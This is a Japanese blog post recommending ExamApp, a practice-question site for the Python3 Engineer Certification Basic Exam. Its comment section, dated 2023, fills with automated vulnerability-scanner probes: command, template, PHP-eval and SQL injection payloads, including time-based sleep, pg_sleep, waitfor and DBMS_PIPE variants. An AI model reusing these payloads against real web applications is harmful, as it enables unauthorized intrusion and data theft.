カテゴリ:Python 投稿:2022年7月27日0:01、更新:2022年8月17日0:03
・記事の概要
Python3エンジニア認定基礎試験において
一問一答形式で中断と再開も可能、解説も分かりやすい
素晴らしい演習問題サイト(ExamApp)がありましたのでご紹介です!
・この記事の対象
・Python3エンジニア認定基礎試験を受験予定の方
・実際の問題内容を会員登録など無く見てみたい方
・問題を解き、理解度を確かめながら勉強を進めたい方
・使いやすい問題演習サイトをお探しの方
・どんなサイト?
この記事でサイトの特徴や利点を説明してもいきますが、
構成としてはシンプルで分かりやすく
問題集が初級/中級/上級のレベルごとに40問ずつあり、
またレベルごとに学習履歴から正答率や誤った問題の再確認が可能というものです。
実際のサイトは以下のリンクです。
第一に挙げられるこのサイトのメリットは
ユーザ登録やログインなしでも問題を実際に解ける点で
学習履歴の利用はユーザ登録(無料かつメールアドレスも不要)が必要ですが
問題を見てみたい、少し解きたいといったケースなら未ログインで利用できます。
使いやすさとしては
・制限時間に縛られずに中断や再会も自由
・解説が丁寧で、公式書籍(Pythonチュートリアル)の該当ページもわかる
・公式書籍ページ順に出題がされ、書籍を読んで⇨解いてが可能
・学習履歴から間違えた問題の確認も可能
という点が挙げられ、以下で詳細を書いていきます。
・制限時間に縛られずに中断や再会も自由
他の演習問題サイトを使うと、
模試形式で「時間あり」「全問終了後に解説」といったものが多い印象です。
ただこちらのサイトでは一問一答形式で、時間制限なく「回答⇨正解と解説」ができます。
また途中で止めてブラウザを閉じても、ログイン済であれば「学習履歴」から再開できます。
・解説が丁寧で公式書籍の該当ページもわかる
実際に問題と解説の例を見てみますと
問題としては以下のような4択選択形式となります。
回答すると、正誤に関わらず解説が表示され
正解に対してだけではなく誤選択肢についての注意も記載されています。
何より、公式書籍ページの記載があるので見直しがしやすくて捗ります!
・公式書籍とは?
公式書籍はオライリー・ジャパンの「Pythonチュートリアル(第4版)」です。・
書籍の準備がまだという方は、購入をお勧めします!(受験するならば必須)
資格取得という面ではなくとも手元にあるといいものです。
・書籍を読んで⇨解いてが可能
公式書籍ページ順に出題がされるので
例えば、
1章を読んでみて、理解度を図るために初級の問題を解く
⇨問題が2章に差し掛かったらまた書籍を読む
といったインプットとアウトプットの繰り返しが可能となります。
理解度を図りながら定着を進めることもできるので、オススメの方法でもあります!笑
・学習履歴から間違えた問題の確認も可能
前述の通り学習履歴の利用にはログインが必要にはなりますが
学習履歴から「全問題の正誤」や「正誤表からの問題の確認」が可能ですので
復習をする際にも活用できますね。
・まとめ
いかがだったでしょうか。
個人的には他サイトに比べ非常に使い勝手が良く、何より
学んだものがどのように問われるかを即時に抑えられる
のは理想的すぎました!笑
皆様の参考にもなれば幸いです。
繰り返しにはなりますが、受験には公式書籍があった方がいいですので
書籍+今回紹介のExamAppでインプットとアウトプットをしていきましょう!
ただ本当にプログラミング自体が初心者で、という場合は
「スッキリシリーズ」のテキストから入ると挿絵や説明がかなり分かりやすく
初めての理解には役立つかもしれません。
私も未経験の新卒時にはJavaで同じシリーズを読んでいました。
(経験者からすると少し冗長的かもしれないが、それくらい丁寧である)
・関連記事
Python3認定基礎試験関連の記事が以下にもあります。
参考までにぜひ!
・第4章(P30~)に関する説明記事
・第9章の「変数の名前空間管理」について図解した記事
・第9章を読み始める際に知っておいてほしい解説記事
コメント一覧
名無し / 2023年9月13日7:33
123456
名無し / 2023年9月13日7:43
123456
expr 809878238 + 860410408
名無し / 2023年9月13日7:43
123456|expr 958854538 + 870215793
名無し / 2023年9月13日7:43
${@var_dump(md5(900726783))};
名無し / 2023年9月13日7:43
123456
/*1*/{{892709044+814463684}} / 2023年9月13日7:43
123456
名無し / 2023年9月13日7:43
123456$(expr 942956608 + 846678772)
名無し / 2023年9月13日7:43
123456
名無し / 2023年9月13日7:43
${906830949+882207357}
名無し / 2023年9月13日7:43
'-var_dump(md5(718791815))-'
名無し / 2023年9月13日7:43
123456
名無し / 2023年9月13日7:43
123456
${902084305+954443971} / 2023年9月13日7:43
123456
名無し / 2023年9月13日7:43
123456&set /A 822868617+925097229
名無し / 2023年9月13日7:43
123456
名無し / 2023年9月13日7:43
123456
名無し / 2023年9月13日7:43
123456
${(953534025+909122318)?c} / 2023年9月13日7:43
123456
名無し / 2023年9月13日7:43
expr 956616718 + 958285514
名無し / 2023年9月13日7:43
123456
${967751846+928463104} / 2023年9月13日7:43
123456
名無し / 2023年9月13日7:43
123456
名無し'and'p'='p / 2023年9月13日7:43
123456
${@var_dump(md5(815134695))}; / 2023年9月13日7:43
123456
<%- 833921123+863015391 %> / 2023年9月13日7:44
123456
名無し'and'r'='m / 2023年9月13日7:44
123456
'-var_dump(md5(194620410))-' / 2023年9月13日7:44
123456
名無し / 2023年9月13日7:44
/*1*/{{927374269+878163209}}
名無し"and"b"="b / 2023年9月13日7:44
123456
名無し / 2023年9月13日7:44
${939255047+855423454}
名無し"and"g"="g / 2023年9月13日7:44
123456
名無し / 2023年9月13日7:44
${(984125834+969262702)?c}
名無し / 2023年9月13日7:44
123456
名無し / 2023年9月13日7:44
#set($c=968393339+814071660)${c}$c
名無し
expr 889630549 + 858700683 / 2023年9月13日7:44
123456
名無し / 2023年9月13日7:44
123456
名無し / 2023年9月13日7:44
<%- 816280889+942260407 %>
名無し|expr 809199796 + 942923328 / 2023年9月13日7:44
123456
名無し / 2023年9月13日7:44
123456
名無し&set /A 857711344+862975560 / 2023年9月13日7:44
123456
expr 867711181 + 873350394 / 2023年9月13日7:44
123456
名無し鎈'"\( / 2023年9月13日7:44
123456
名無し'"\( / 2023年9月13日7:44
123456
名無し / 2023年9月13日7:44
123456/**/and+0=0
名無し / 2023年9月13日7:44
123456'and/**/extractvalue(1,concat(char(126),md5(1495594706)))and'
名無し / 2023年9月13日7:44
123456/**/and+4=8
名無し / 2023年9月13日7:44
123456"and/**/extractvalue(1,concat(char(126),md5(1810605283)))and"
名無し / 2023年9月13日7:44
123456'and'b'='b
名無し / 2023年9月13日7:45
extractvalue(1,concat(char(126),md5(1562481929)))
名無し / 2023年9月13日7:45
123456'and'h'='g
名無し / 2023年9月13日7:45
123456'and(select'1'from/**/cast(md5(1244429986)as/**/int))>'0
名無し / 2023年9月13日7:45
123456"and"s"="s
名無し / 2023年9月13日7:45
123456/**/and/**/cast(md5('1505641755')as/**/int)>0
名無し / 2023年9月13日7:45
123456"and"o"="h
名無し / 2023年9月13日7:45
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1997784107')))
名無し / 2023年9月13日7:45
(select*from(select+sleep(0)union/**/select+1)a)
名無し / 2023年9月13日7:45
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1584339067')))>'0
名無し / 2023年9月13日7:45
(select*from(select+sleep(2)union/**/select+1)a)
名無し / 2023年9月13日7:45
123456鎈'"\(
名無し / 2023年9月13日7:45
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='
名無し / 2023年9月13日7:45
123456'"\(
名無し / 2023年9月13日7:45
123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='
名無し / 2023年9月13日7:45
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="
名無し / 2023年9月13日7:45
123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="
名無し / 2023年9月13日7:45
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
名無し / 2023年9月13日7:45
123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/
名無し / 2023年9月13日7:45
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0
名無し / 2023年9月13日7:45
123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0
名無し / 2023年9月13日7:45
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
名無し / 2023年9月13日7:45
123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/
名無し / 2023年9月13日7:45
123456'and(select+1)>0waitfor/**/delay'0:0:0
名無し / 2023年9月13日7:45
123456'and(select+1)>0waitfor/**/delay'0:0:2
名無し / 2023年9月13日7:45
123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('f',0)
名無し / 2023年9月13日7:45
123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('o',2)
名無し / 2023年9月13日7:45
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('g',0)='g
名無し / 2023年9月13日7:45
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('b',2)='b
名無し / 2023年11月7日15:29
123456
名無し / 2023年11月7日15:30
123456
名無し / 2023年11月7日15:30
123456
expr 947203085 + 981434661
名無し / 2023年11月7日15:30
123456
${@var_dump(md5(565508799))}; / 2023年11月7日15:30
123456
名無し / 2023年11月7日15:30
123456
名無し / 2023年11月7日15:30
123456|expr 912792519 + 834048394
名無し / 2023年11月7日15:30
123456
'-var_dump(md5(929687278))-' / 2023年11月7日15:30
123456
名無し / 2023年11月7日15:30
123456
名無し / 2023年11月7日15:30
123456
名無し / 2023年11月7日15:30
123456$(expr 883615685 + 967741766)
名無し / 2023年11月7日15:30
123456
名無し / 2023年11月7日15:30
${@var_dump(md5(306206550))};
名無し / 2023年11月7日15:30
123456
名無し / 2023年11月7日15:30
123456
名無し / 2023年11月7日15:31
123456&set /A 854013312+918274213
名無し / 2023年11月7日15:31
123456'and/**/extractvalue(1,concat(char(126),md5(1865485959)))and'
${909220655+915805695} / 2023年11月7日15:31
123456
名無し / 2023年11月7日15:31
'-var_dump(md5(138523941))-'
名無し / 2023年11月7日15:31
123456
名無し / 2023年11月7日15:31
expr 810982281 + 894889451
名無し / 2023年11月7日15:31
123456"and/**/extractvalue(1,concat(char(126),md5(1557832711)))and"
名無し / 2023年11月7日15:31
${912441027+995234284}
名無し / 2023年11月7日15:31
extractvalue(1,concat(char(126),md5(1048612435)))
名無し / 2023年11月7日15:31
123456
名無し / 2023年11月7日15:31
123456'and(select'1'from/**/cast(md5(1629416498)as/**/int))>'0
/*1*/{{824819039+948620798}} / 2023年11月7日15:31
123456
名無し / 2023年11月7日15:31
123456
名無し / 2023年11月7日15:31
123456/**/and/**/cast(md5('1513606782')as/**/int)>0
${891193238+987432337} / 2023年11月7日15:31
123456
名無し / 2023年11月7日15:31
123456
名無し / 2023年11月7日15:31
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1822626148')))
${(941366941+873518450)?c} / 2023年11月7日15:31
123456
名無し / 2023年11月7日15:31
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1533595159')))>'0
名無し
expr 996764942 + 841538361 / 2023年11月7日15:31
123456
名無し / 2023年11月7日15:31
123456鎈'"\(
<%- 887451329+868985473 %> / 2023年11月7日15:31
123456
名無し|expr 829240739 + 925379389 / 2023年11月7日15:31
123456
名無し / 2023年11月7日15:31
123456'"\(
名無し / 2023年11月7日15:31
/*1*/{{946271685+924297960}}
名無し / 2023年11月7日15:31
${893472993+975050550}
名無し&set /A 986681543+943963360 / 2023年11月7日15:31
123456
名無し / 2023年11月7日15:31
${(853515341+911860904)?c}
expr 807123162 + 866563117 / 2023年11月7日15:31
123456
名無し / 2023年11月7日15:31
#set($c=886978038+888380599)${c}$c
名無し / 2023年11月7日15:31
<%- 957885150+855334198 %>
名無し'and'u'='u / 2023年11月7日15:32
123456
名無し'and'a'='i / 2023年11月7日15:32
123456
名無し"and"e"="e / 2023年11月7日15:32
123456
名無し"and"q"="d / 2023年11月7日15:32
123456
名無し鎈'"\( / 2023年11月7日15:32
123456
名無し'"\( / 2023年11月7日15:32
123456
名無し / 2023年11月7日15:33
123456/**/and+2=2
名無し / 2023年11月7日15:33
123456/**/and+0=6
名無し / 2023年11月7日15:33
123456'and'g'='g
名無し / 2023年11月7日15:33
123456'and'o'='e
名無し / 2023年11月7日15:33
123456"and"r"="r
名無し / 2023年11月7日15:33
123456"and"m"="b
名無し / 2023年11月7日15:33
(select*from(select+sleep(0)union/**/select+1)a)
名無し / 2023年11月7日15:33
(select*from(select+sleep(2)union/**/select+1)a)
名無し / 2023年11月7日15:33
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='
名無し / 2023年11月7日15:33
123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='
名無し / 2023年11月7日15:33
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="
名無し / 2023年11月7日15:33
123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="
名無し / 2023年11月7日15:33
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
名無し / 2023年11月7日15:33
123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/
名無し / 2023年11月7日15:33
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0
名無し / 2023年11月7日15:34
123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0
名無し / 2023年11月7日15:34
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
名無し / 2023年11月7日15:34
123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/
名無し / 2023年11月7日15:34
123456'and(select+1)>0waitfor/**/delay'0:0:0
名無し / 2023年11月7日15:34
123456'and(select+1)>0waitfor/**/delay'0:0:2
名無し / 2023年11月7日15:34
123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('u',0)
名無し / 2023年11月7日15:34
123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('s',2)
名無し / 2023年11月7日15:34
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('h',0)='h
名無し / 2023年11月7日15:34
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('a',2)='a